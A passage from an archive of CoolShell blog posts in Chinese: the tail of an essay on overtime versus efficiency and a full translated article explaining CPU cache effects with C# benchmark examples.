Factories那样，净是些X型的人的话，那么，你也只有使用加班和加人这种方式，就像长城和金字塔的建设过程一样，就像富士康一样，你的团队本质是不会思考只能用鞭子去抽他们的方式去管理。于是，你也只能用“狼性”来呼唤你的员工像那些低智商的野兽一样的行事。</p>\n<p style=\"padding-left: 30px;\">2）有时候，我们需要去“卡位”，需要很快地去实现一个东西占领市场，这需要加班。就像Win95和Intel的奔腾芯片的浮点数问题一样。但是千万不要忘了，你在卡完位后，得马上把你产品的质量搞上去，不然，你一样会死得很难看。（Windows是有两个团队的，一个团队是用来占领市场的，另一个团队是安心搞发展的）注意：“卡位”从某种程度上来说应该是一种有价值的事，但我们依然要思考是否在用蛮力行事。</p>\n<p style=\"padding-left: 30px;\">3）另外，有的人工作就是生活，生活就是工作，所以，对他来说，这不是一种工作，而是一种事业。我认可这样的精神和热情，但是，我还是想让这样的人反思一下自己，有没有用一种更为聪明的方式来从事自己的事业？而不是用蛮力。</p>\n<p>无论上述的哪种情况，我们都可以看到，只要你进入了劳动密集型，靠人和靠加班来解决问题，并沉迷并深 陷其中不能自拔，那们，你终有一天会玩到尽头的。</p>\n<h4>关于效率</h4>\n<p><strong>很多人不知道什么叫效率，他们以为效率就是：单位时间单位人数下干更多的活。这是错的！效率不是比谁干的活多，而是比谁干得活有更大的价值</strong>。效率的物理公式是：<span style=\"color: #ff0000;\"><strong>有用功/总功</strong></span>。<span style=\"color: #000000;\">换句话说，效率就是：单位时间和人数产生的价值</span>。所以，提高效率，并不是加人，也不是干更多的活，而是，你这么多人干出来了多少有价值的东西。</p>\n<p>有了公式，我们也就知道怎么来提高效率了。</p>\n<p><strong>1）增加有用功</strong></p>\n<ul>\n<li>你得多问问你的需求方，为什么要加这个需求？干这个事到底有多大的价值？能让多少人受益？</li>\n<li>你得多问问你的需求方，能不能稍微简化一下需求，这样可以让我付出的努力更少一些？</li>\n<li>你得要多去思考一下，你是在干一个建筑队的活呢？还是在干一个装修队的活？</li>\n<li>你得要多去思考一下，业务上和用户的最大的痛点是什么？</li>\n</ul>\n<p>关于增加有用功，再说两点：</p>\n<ul>\n<li>像乔布斯那样，告诉你的产品经理或是业务方，你现在提的10需求，我只能做3个，会是哪3个？为什么是这3个？<strong>有用功的来源不是拼命做需求，而是砍需求。</strong></li>\n</ul>\n<ul>\n<li><strong>关于创造价值，我们要干的不是像百度的“竞价排名”那样，把钱从别人口袋里搬运到自己的口袋里，而是要像“英国工业革命”或是“硅谷”那样，把价值真正的创造出来</strong>。</li>\n</ul>\n<p><strong>2）降低总功</strong></p>\n<ul>\n<li><span style=\"line-height: 13px;\">你得多问问自己，你有多少时间是在干一些支持性而不是产出性的工作？</span></li>\n<li>你得多问问自己，有没有残酷无情地减少重复劳动的劳动密集型的工作？</li>\n<li>你得多问问自己，自己的管理者和员工的能力和素质有没有在降低你的团队执行的成本？</li>\n</ul>\n<p><strong>3）形成合力</strong></p>\n<p>有一个很不错的产品经理对我说，他看了南京那两个小女孩被饿死的消息，感到很震惊。与之有关联的每一方都说自己尽力，但是最终结果人还是饿死了，你几乎不敢相信这是真的。</p>\n<p>但是，类比一下我们的项目，这种事似乎又发生在我们的公司当中，尤其是大公司中。每一个团队都说自己尽力了，结果项目就是没做好，底层团队说自己只干底层，已经尽力了，前端说自己只负责前端，也尽力了，后端说自己只管后端，不管前端和底层，运维说对于这样的设计和部署自己也尽力了，产品经理，运营都这样说，自己尽力了。你会发现，你几乎很难批评他们，因为他们的确如他们所说的那样，把他们自己的那块都做得很好了，而且的确做得很好了。但是，最终的结果却是：整个产品问题很多。</p>\n<p><strong>所以说，效率不是每个团队各自的效率，而是整个团队对整个产品负责的共同使命，这样才会现整体的效率。没有整体的效率，只有个体的效率，最终也等于没有效率</strong>。</p>\n<h4>T-Shirt Size Estimation</h4>\n<p>Amazon用一种T-Shirt Size 估计的方式来做项目。</p>\n<ul>\n<li>产品经理会对每一条需求评估上业务影响力的尺寸，如：XXXL 影响一千万人以上或是可以占到上亿美金的市场，XXL，影响百万用户或是占了千万金级别以上的市场，后面还有XL，L，M，S，这样下来。</li>\n</ul>\n<ul>\n<li>开发团队也一样，要评估投入的人员时间成本，XXXL表示要干1年，XXL干半年，XL干3个月，L干两个月，M干一个月，S干两周以下。等等。</li>\n</ul>\n<p>于是，</p>\n<ul>\n<li>当业务影响力是XL，时间人员成本是S，这是最高优先级。</li>\n<li>当业务影响力是M，时间人员成本是M，这是低优先级。</li>\n<li>当业务影响力是S，时间人员成本是XL，直接砍掉这个需求。因为是亏的。</li>\n<li>当业务影响力是XXL，时间人员成本是XXL，需要简化需求，把需求简化成XL，时间人员成本变成M以下。</li>\n</ul>\n<p>大家感受一下吧。</p>\n<p>好了，我就说这么多，欢迎大家讨论。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20765.html\"><img alt=\"MegaEase的远程工作文化\" height=\"150\" src=\"../wp-content/uploads/2020/01/remote-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20765.html\">MegaEase的远程工作文化</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9156.html\"><img alt=\"《Rework》摘录及感想\" height=\"150\" src=\"../wp-content/uploads/2013/03/rework-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9156.html\">《Rework》摘录及感想</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4951.html\"><img alt=\"软件公司的两种管理方式\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4951.html\">软件公司的两种管理方式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3218.html\"><img alt=\"开发时间估计\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3218.html\">开发时间估计</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10217.html\">加班与效率</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-7-30 7个示例科普CPU Cache.html",
    "content": "<html><body><p><strong>（感谢网友 </strong><a href=\"http://weibo.com/fullofbull\" target=\"_blank\"><strong>@我的上铺叫路遥</strong></a><strong> 翻译投稿）</strong></p>\n<p>CPU cache一直是理解计算机体系架构的重要知识点，也是并发编程设计中的技术难点，而且相关参考资料如同过江之鲫，浩瀚繁星，阅之如临深渊，味同嚼蜡，三言两语难以入门。正好网上有人推荐了微软大牛Igor Ostrovsky一篇博文<strong>《漫游处理器缓存效应》</strong>，文章不仅仅用7个最简单的源码示例就将CPU cache的原理娓娓道来，还附加图表量化分析做数学上的佐证，个人感觉这种案例教学的切入方式绝对是俺的菜，故而忍不住贸然译之，以飨列位看官。</p>\n<p>原文地址：<a href=\"http://igoro.com/archive/gallery-of-processor-cache-effects/\">Gallery of Processor Cache Effects</a></p>\n<p>大多数读者都知道cache是一种快速小型的内存，用以存储最近访问内存位置。这种描述合理而准确，但是更多地了解一些处理器缓存工作中的“烦人”细节对于理解程序运行性能有很大帮助。</p>\n<p>在这篇博客中，我将运用代码示例来详解cache工作的方方面面，以及对现实世界中程序运行产生的影响。</p>\n<p>下面的例子都是用C#写的，但语言的选择同程序运行状况以及得出的结论几乎没什么影响。</p>\n<h4>示例1：内存访问和运行</h4>\n<p>你认为相较于循环1，循环2会运行多快？</p>\n<pre class=\"EnlighterJSRAW\">int[] arr = new int[64 * 1024 * 1024];\n\n// Loop 1\nfor (int i = 0; i &lt; arr.Length; i++) arr[i] *= 3;\n\n// Loop 2\nfor (int i = 0; i &lt; arr.Length; i += 16) arr[i] *= 3;</pre>\n<p><span id=\"more-10249\"></span></p>\n<p>第一个循环将数组的每个值乘3，第二个循环将每16个值乘3，第二个循环只做了第一个约6%的工作，但在现代机器上，两者几乎运行相同时间：在我机器上分别是80毫秒和78毫秒。</p>\n<p>两个循环花费相同时间的原因跟内存有关。<strong>循环执行时间长短由数组的内存访问次数决定的，而非整型数的乘法运算次数。</strong>经过下面对第二个示例的解释，你会发现硬件对这两个循环的主存访问次数是相同的。</p>\n<h4>示例2：缓存行的影响</h4>\n<p>让我们进一步探索这个例子。我们将尝试不同的循环步长，而不仅仅是1和16。</p>\n<p><code class=\"EnlighterJSRAW\">for (int i = 0; i &lt; arr.Length; i += K) arr[i] *= 3;</code></p>\n<p>下图为该循环在不同步长(K)下的运行时间：</p>\n<p><img alt=\"running times of this loop for different step values (K)\" class=\"aligncenter\" src=\"../wp-content/uploads/2010/01/image6.png\"/></p>\n<p>注意当步长在1到16范围内，循环运行时间几乎不变。但从16开始，每次步长加倍，运行时间减半。</p>\n<p>背后的原因是今天的CPU不再是按字节访问内存，而是以64字节为单位的块(chunk)拿取，称为一个缓存行(cache line)。当你读一个特定的内存地址，整个缓存行将从主存换入缓存，并且访问同一个缓存行内的其它值的开销是很小的。</p>\n<p>由于16个整型数占用64字节（一个缓存行），for循环步长在1到16之间必定接触到相同数目的缓存行：即数组中所有的缓存行。当步长为32，我们只有大约每两个缓存行接触一次，当步长为64，只有每四个接触一次。</p>\n<p>理解缓存行对某些类型的程序优化而言可能很重要。比如，数据字节对齐可能决定一次操作接触1个还是2个缓存行。那上面的例子来说，很显然操作不对齐的数据将损失一半性能。</p>\n<h4>示例3：L1和L2缓存大小</h4>\n<p>今天的计算机具有两级或三级缓存，通常叫做L1、L2以及可能的L3（译者注：如果你不明白什么叫二级缓存，可以参考<a href=\"https://coolshell.cn/articles/3236.html\" target=\"_blank\">这篇精悍的博文</a>lol）。如果你想知道不同缓存的大小，你可以使用系统内部工具<a href=\"http://technet.microsoft.com/en-us/sysinternals/cc835722.aspx\" target=\"_blank\">CoreInfo</a>，或者Windows API调用<a href=\"http://msdn.microsoft.com/en-us/library/ms683194(VS.85).aspx\" target=\"_blank\">GetLogicalProcessorInfo</a>。两者都将告诉你缓存行以及缓存本身的大小。</p>\n<p>在我的机器上，CoreInfo现实我有一个32KB的L1数据缓存，一个32KB的L1指令缓存，还有一个4MB大小L2数据缓存。L1缓存是处理器独享的，L2缓存是成对处理器共享的。</p>\n<p>Logical Processor to Cache Map:<br/>\n*— Data Cache 0, Level 1, 32 KB, Assoc 8, LineSize 64<br/>\n*— Instruction Cache 0, Level 1, 32 KB, Assoc 8, LineSize 64<br/>\n-*– Data Cache 1, Level 1, 32 KB, Assoc 8, LineSize 64<br/>\n-*– Instruction Cache 1, Level 1, 32 KB, Assoc 8, LineSize 64<br/>\n**– Unified Cache 0, Level 2, 4 MB, Assoc 16, LineSize 64<br/>\n–*- Data Cache 2, Level 1, 32 KB, Assoc 8, LineSize 64<br/>\n–*- Instruction Cache 2, Level 1, 32 KB, Assoc 8, LineSize 64<br/>\n—* Data Cache 3, Level 1, 32 KB, Assoc 8, LineSize 64<br/>\n—* Instruction Cache 3, Level 1, 32 KB, Assoc 8, LineSize 64<br/>\n–** Unified Cache 1, Level 2, 4 MB, Assoc 16, LineSize 64</p>\n<p>（译者注：作者平台是四核机，所以L1编号为0~3，数据/指令各一个，L2只有数据缓存，两个处理器共享一个，编号0~1。关联性字段在后面例子说明。）</p>\n<p>让我们通过一个实验来验证这些数字。遍历一个整型数组，每16个值自增1——一种节约地方式改变每个缓存行。当遍历到最后一个值，就重头开始。我们将使用不同的数组大小，可以看到当数组溢出一级缓存大小，程序运行的性能将急剧滑落。</p>\n<pre class=\"EnlighterJSRAW\">int steps = 64 * 1024 * 1024;\n// Arbitrary number of steps\nint lengthMod = arr.Length - 1;\nfor (int i = 0; i &lt; steps; i++)\n{\n    arr[(i * 16) &amp; lengthMod]++; // (x &amp; lengthMod) is equal to (x % arr.Length)\n}</pre>\n<p>下图是运行时间图表：<br/>\n<img alt=\"cache size\" class=\"aligncenter\" src=\"../wp-content/uploads/2010/02/image.png\"/></p>\n<p>你可以看到在32KB和4MB之后性能明显滑落——正好是我机器上L1和L2缓存大小。</p>\n<h4>示例4：指令级别并发</h4>\n<p>现在让我们看一看不同的东西。下面两个循环中你以为哪个较快？</p>\n<pre class=\"EnlighterJSRAW\">int steps = 256 * 1024 * 1024;\nint[] a = new int[2];\n\n// Loop 1\nfor (int i=0; i&lt;steps; i++) { a[0]++; a[0]++; }\n\n// Loop 2\nfor (int i=0; i&lt;steps; i++) { a[0]++; a[1]++; }</pre>\n<p>结果是第二个循环约比第一个快一倍，至少在我测试的机器上。为什么呢？这跟两个循环体内的操作指令依赖性有关。</p>\n<p>第一个循环体内，操作做是相互依赖的（译者注：下一次依赖于前一次）：<br/>\n<img alt=\"same value dependency\" class=\"aligncenter\" src=\"../wp-content/uploads/2010/01/image.png\"/><br/>\n但第二个例子中，依赖性就不同了：<br/>\n<img alt=\"different values dependency\" class=\"aligncenter\" src=\"../wp-content/uploads/2010/02/image2.png\"/></p>\n<p>现代处理器中对不同部分指令拥有一点并发性（译者注：跟流水线有关，比如Pentium处理器就有U/V两条流水线，后面说明）。这使得CPU在同一时刻访问L1两处内存位置，或者执行两次简单算术操作。在第一个循环中，处理器无法发掘这种指令级别的并发性，但第二个循环中就可以。</p>\n<p>[原文更新]：许多人在reddit上询问有关编译器优化的问题，像{ a[0]++; a[0]++; }能否优化为{ a[0]+=2; }。实际上，C#编译器和CLR JIT没有做优化——在数组访问方面。我用release模式编译了所有测试（使用优化选项），但我查询了JIT汇编语言证实优化并未影响结果。</p>\n<h4>示例5：缓存关联性</h4>\n<p>缓存设计的一个关键决定是确保每个主存块(chunk)能够存储在任何一个缓存槽里，或者只是其中一些（译者注：此处一个槽位就是一个缓存行）。</p>\n<p>有三种方式将缓存槽映射到主存块中：</p>\n<ol>\n<li><strong>直接映射(Direct mapped cache)</strong><br/>\n每个内存块只能映射到一个特定的缓存槽。一个简单的方案是通过块索引chunk_index映射到对应的槽位(chunk_index % cache_slots)。被映射到同一内存槽上的两个内存块是不能同时换入缓存的。（译者注：chunk_index可以通过物理地址/缓存行字节计算得到）</li>\n<li><strong>N路组关联(N-way set associative cache)</strong><br/>\n每个内存块能够被映射到N路特定缓存槽中的任意一路。比如一个16路缓存，每个内存块能够被映射到16路不同的缓存槽。一般地，具有一定相同低bit位地址的内存块将共享16路缓存槽。（译者注：相同低位地址表明相距一定单元大小的连续内存）</li>\n<li><strong>完全关联(Fully associative cache)</strong><br/>\n每个内存块能够被映射到任意一个缓存槽。操作效果上相当于一个散列表。</li>\n</ol>\n<p>直接映射缓存会引发冲突——当多个值竞争同一个缓存槽，它们将相互驱逐对方，导致命中率暴跌。另一方面，完全关联缓存过于复杂，并且硬件实现上昂贵。N路组关联是处理器缓存的典型方案，它在电路实现简化和高命中率之间取得了良好的折中。</p>\n<p><img alt=\"完全关联与多路关联的cache映射\" class=\"aligncenter\" src=\"http://my.csdn.net/uploads/201204/18/1334757273_8141.png\"/><br/>\n（此图由译者给出，直接映射和完全关联可以看做N路组关联的两个极端，从图中可知当N=1时，即直接映射；当N取最大值时，即完全关联。读者可以自行想象直接映射图例，具体表述见参考资料。）</p>\n<p>举个例子，4MB大小的L2缓存在我机器上是16路关联。所有64字节内存块将分割为不同组，映射到同一组的内存块将竞争L2缓存里的16路槽位。</p>\n<p>L2缓存有65,536个缓存行（译者注：4MB/64），每个组需要16路缓存行，我们将获得4096个集。这样一来，块属于哪个组取决于块索引的低12位bit(2^12=4096)。<strong>因此缓存行对应的物理地址凡是以262,144字节(4096*64)的倍数区分的，将竞争同一个缓存槽。我机器上最多维持16个这样的缓存槽。</strong>（译者注：请结合上图中的2路关联延伸理解，一个块索引对应64字节，chunk0对应组0中的任意一路槽位，chunk1对应组1中的任意一路槽位，以此类推chunk4095对应组4095中的任意一路槽位，chunk0和chunk4096地址的低12bit是相同的，所以chunk4096、chunk8192将同chunk0竞争组0中的槽位，它们之间的地址相差262,144字节的倍数，而最多可以进行16次竞争，否则就要驱逐一个chunk）。</p>\n<p>为了使得缓存关联效果更加明了，我需要重复地访问同一组中的16个以上的元素，通过如下方法证明：</p>\n<pre class=\"EnlighterJSRAW\">public static long UpdateEveryKthByte(byte[] arr, int K)\n{\n    Stopwatch sw = Stopwatch.StartNew();\n    const int rep = 1024*1024; // Number of iterations – arbitrary\n    int p = 0;\n    for (int i = 0; i &lt; rep; i++)\n    {\n        arr[p]++;\n        p += K;\n        if (p &gt;= arr.Length) p = 0;\n    }\n    sw.Stop();\n    return sw.ElapsedMilliseconds;\n}</pre>\n<p>该方法每次在数组中迭代K个值，当到达末尾时从头开始。循环在运行足够长（2^20次）之后停止。</p>\n<p>我使用不同的数组大小（每次增加1MB）和不同的步长传入UpdateEveryKthByte()。以下是绘制的图表，蓝色代表运行较长时间，白色代表较短时间：<br/>\n<img alt=\"timing\" class=\"aligncenter\" src=\"../wp-content/uploads/2010/02/image_thumb1_opt.png\"/><br/>\n蓝色区域（较长时间）表明当我们重复数组迭代时，更新的值无法同时放在缓存中。浅蓝色区域对应80毫秒，白色区域对应10毫秒。</p>\n<p>让我们来解释一下图表中蓝色部分：</p>\n<p><strong>1.为何有垂直线？</strong>垂直线表明步长值过多接触到同一组中内存位置（大于16次）。在这些次数里，我的机器无法同时将接触过的值放到16路关联缓存中。</p>\n<p>一些糟糕的步长值为2的幂：256和512。举个例子，考虑512步长遍历8MB数组，存在32个元素以相距262,144字节空间分布，所有32个元素都会在循环遍历中更新到，因为512能够整除262,144（译者注：此处一个步长代表一个字节）。</p>\n<p>由于32大于16，这32个元素将一直竞争缓存里的16路槽位。</p>\n<p>（译者注：为何512步长的垂直线比256步长颜色更深？在同样足够多的步数下，512比256访问到存在竞争的块索引次数多一倍。比如跨越262,144字节边界512需要512步，而256需要1024步。那么当步数为2^20时，512访问了2048次存在竞争的块而256只有1024次。最差情况下步长为262,144的倍数，因为每次循环都会引发一个缓存行驱逐。）</p>\n<p>有些不是2的幂的步长运行时间长仅仅是运气不好，最终访问到的是同一组中不成比例的许多元素，这些步长值同样显示为蓝线。</p>\n<p><strong>2.为何垂直线在4MB数组长度的地方停止？</strong>因为对于小于等于4MB的数组，16路关联缓存相当于完全关联缓存。</p>\n<p>一个16路关联缓存最多能够维护16个以262,144字节分隔的缓存行，4MB内组17或更多的缓存行都没有对齐在262,144字节边界上，因为16*262,144=4,194,304。</p>\n<p><strong>3.为何左上角出现蓝色三角？</strong>在三角区域内，我们无法在缓存中同时存放所有必要的数据，不是出于关联性，而仅仅是因为L2缓存大小所限。</p>\n<p>举个例子，考虑步长128遍历16MB数组，数组中每128字节更新一次，这意味着我们一次接触两个64字节内存块。为了存储16MB数组中每两个缓存行，我们需要8MB大小缓存。但我的机器中只有4MB缓存（译者注：这意味着必然存在冲突从而延时）。</p>\n<p>即使我机器中4MB缓存是全关联，仍无法同时存放8MB数据。</p>\n<p><strong>4.为何三角最左边部分是褪色的？</strong>注意左边0~64字节部分——正好一个缓存行！就像上面示例1和2所说，额外访问相同缓存行的数据几乎没有开销。比如说，步长为16字节，它需要4步到达下一个缓存行，也就是说4次内存访问只有1次开销。</p>\n<p>在相同循环次数下的所有测试用例中，采取省力步长的运行时间来得短。</p>\n<p>将图表延伸后的模型：<br/>\n<img alt=\"timing2\" class=\"aligncenter\" src=\"../wp-content/uploads/2010/02/assoc_big_thumb1_opt.png\"/></p>\n<p>缓存关联性理解起来有趣而且确能被证实，但对于本文探讨的其它问题比起来，它肯定不会是你编程时所首先需要考虑的问题。</p>\n<h4>示例6：缓存行的伪共享(false-sharing)</h4>\n<p>在多核机器上，缓存遇到了另一个问题——一致性。不同的处理器拥有完全或部分分离的缓存。在我的机器上，L1缓存是分离的（这很普遍），而我有两对处理器，每一对共享一个L2缓存。这随着具体情况而不同，如果一个现代多核机器上拥有多级缓存，那么快速小型的缓存将被处理器独占。</p>\n<p><strong>当一个处理器改变了属于它自己缓存中的一个值，其它处理器就再也无法使用它自己原来的值，因为其对应的内存位置将被刷新(invalidate)到所有缓存。而且由于缓存操作是以缓存行而不是字节为粒度，所有缓存中整个缓存行将被刷新！</strong></p>\n<p>为证明这个问题，考虑如下例子：</p>\n<pre class=\"EnlighterJSRAW\">private static int[] s_counter = new int[1024];\nprivate void UpdateCounter(int position)\n{\n    for (int j = 0; j &lt; 100000000; j++)\n    {\n        s_counter[position] = s_counter[position] + 3;\n    }\n}</pre>\n<p>在我的四核机上，如果我通过四个线程传入参数0,1,2,3并调用UpdateCounter，所有线程将花费4.3秒。</p>\n<p>另一方面，如果我传入16,32,48,64，整个操作进花费0.28秒！</p>\n<p>为何会这样？第一个例子中的四个值很可能在同一个缓存行里，每次一个处理器增加计数，这四个计数所在的缓存行将被刷新，而其它处理器在下一次访问它们各自的计数（译者注：注意数组是private属性，每个线程独占）将失去命中(miss)一个缓存。这种多线程行为有效地禁止了缓存功能，削弱了程序性能。</p>\n<h4>示例7：硬件复杂性</h4>\n<p>即使你懂得了缓存的工作基础，有时候硬件行为仍会使你惊讶。不用处理器在工作时有不同的优化、探试和微妙的细节。</p>\n<p>有些处理器上，L1缓存能够并发处理两路访问，如果访问是来自不同的存储体，而对同一存储体的访问只能串行处理。而且处理器聪明的优化策略也会使你感到惊讶，比如在伪共享的例子中，以前在一些没有微调的机器上运行表现并不良好，但我家里的机器能够对最简单的例子进行优化来减少缓存刷新。</p>\n<p>下面是一个“硬件怪事”的奇怪例子：</p>\n<pre class=\"EnlighterJSRAW\">private static int A, B, C, D, E, F, G;\nprivate static void Weirdness()\n{\n    for (int i = 0; i &lt; 200000000; i++)\n    {\n        // do something...\n    }\n}</pre>\n<p>当我在循环体内进行三种不同操作，我得到如下运行时间：</p>\n<p><strong>           操作</strong>                    <strong>时间</strong><br/>\nA++; B++; C++; D++;     719 ms<br/>\nA++; C++; E++; G++;     448 ms<br/>\nA++; C++;                      518 ms</p>\n<p>增加A,B,C,D字段比增加A,C,E,G字段花费更长时间，更奇怪的是，增加A,C两个字段比增加A,C,E,G执行更久！</p>\n<p>我无法肯定这些数字背后的原因，但我怀疑这跟存储体有关，如果有人能够解释这些数字，我将洗耳恭听。</p>\n<p>这个例子的教训是，你很难完全预测硬件的行为。你可以预测很多事情，但最终，衡量及验证你的假设非常重要。</p>\n<h4>关于第7个例子的一个回帖</h4>\n<p>Goz：我询问Intel的工程师最后的例子，得到以下答复：</p>\n<p>“很显然这涉及到执行单元里指令是怎样终止的，机器处理存储-命中-加载的速度，以及如何快速且优雅地处理试探性执行的循环展开（比如是否由于内部冲突而多次循环）。但这意味着你需要非常细致的流水线跟踪器和模拟器才能弄明白。在纸上预测流水线里的乱序指令是无比困难的工作，就算是设计芯片的人也一样。对于门外汉来说，没门，抱歉！”</p>\n<h4>P.S.个人感悟——局部性原理和流水线并发</h4>\n<p>程序的运行存在<strong>时间和空间上的局部性</strong>，前者是指只要内存中的值被换入缓存，今后一段时间内会被多次引用，后者是指该内存附近的值也被换入缓存。如果在编程中特别注意运用局部性原理，就会获得性能上的回报。</p>\n<p>比如<strong>C语言中应该尽量减少静态变量的引用，</strong>这是因为静态变量存储在全局数据段，在一个被反复调用的函数体内，引用该变量需要对缓存多次换入换出，而如果是分配在堆栈上的局部变量，函数每次调用CPU只要从缓存中就能找到它了，因为堆栈的重复利用率高。</p>\n<p>再比如<strong>循环体内的代码要尽量精简，</strong>因为代码是放在指令缓存里的，而指令缓存都是一级缓存，只有几K字节大小，如果对某段代码需要多次读取，而这段代码又跨越一个L1缓存大小，那么缓存优势将荡然无存。</p>\n<p>关于<strong>CPU的流水线(pipeline)并发性</strong>简单说说，Intel Pentium处理器有两条流水线U和V，每条流水线可各自独立地读写缓存，所以可以在一个时钟周期内同时执行两条指令。但这两条流水线不是对等的，U流水线可以处理所有指令集，V流水线只能处理简单指令。</p>\n<p>CPU指令通常被分为四类，第一类是常用的简单指令，像mov, nop, push, pop, add, sub, and, or, xor, inc, dec, cmp, lea，可以在任意一条流水线执行，只要相互之间不存在依赖性，完全可以做到指令并发。</p>\n<p>第二类指令需要同别的流水线配合，像一些进位和移位操作，这类指令如果在U流水线中，那么别的指令可以在V流水线并发运行，如果在V流水线中，那么U流水线是暂停的。</p>\n<p>第三类指令是一些跳转指令，如cmp,call以及条件分支，它们同第二类相反，当工作在V流水线时才能通U流水线协作，否则只能独占CPU。</p>\n<p>第四类指令是其它复杂的指令，一般不常用，因为它们都只能独占CPU。</p>\n<p>如果是汇编级别编程，<strong>要达到指令级别并发，必须要注重指令之间的配对。</strong>尽量使用第一类指令，避免第四类，还要在顺序上减少上下文依赖。</p>\n<h4>参考资料</h4>\n<p>wiki上的CPU cache解析（<a href=\"http://zh.wikipedia.org/zh-cn/CPU%E7%BC%93%E5%AD%98\" target=\"_blank\">中文版</a>）（<a href=\"https://en.wikipedia.org/wiki/CPU_cache\" target=\"_blank\">英文版</a>）。</p>\n<p>上海交通大学师生制作的一个关于<a href=\"http://yoursunny.com/study/EI209/?topic=cache\" target=\"_blank\">cache映射功能、命中率计算</a>的教学演示程序，模拟了不同关联模式下cache的映射和命中几率，形象直观。</p>\n<p>网易数据库大牛<a href=\"http://weibo.com/u/2216172320\" target=\"_blank\">@何_登成</a>自制PPT<a href=\"http://vdisk.weibo.com/s/dBzv2sibdUB8\" target=\"_blank\">《CPU Cache and Memory Ordering》</a>，信息量超大！</p>\n<p>南京大学计算机教学<a href=\"http://cs.nju.edu.cn/swang/CompArchOrg_12F/slides/lecture09.pdf\" target=\"_blank\">公开PPT</a>，温馨提示，地址域名里面改变字段”lecture”后面的数字编号可切换课程;-)</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20793.html\"><img alt=\"与程序员相关的CPU缓存知识\" height=\"150\" src=\"../wp-content/uploads/2020/03/cpu_512x512-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20793.html\">与程序员相关的CPU缓存知识</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17416.html\"><img alt=\"缓存更新的套路\" height=\"150\" src=\"../wp-content/uploads/2016/07/cache-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9703.html\"><img alt=\"无锁HashMap的原理与实现\" height=\"150\" src=\"../wp-content/uploads/2013/05/图1-3-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9606.html\"><img alt=\"疫苗：Java HashMap的死循环\" height=\"150\" src=\"../wp-content/uploads/2013/05/race_condition-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9606.html\">疫苗：Java HashMap的死循环</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2039.html\"><img alt=\"CPU的性价比\" height=\"150\" 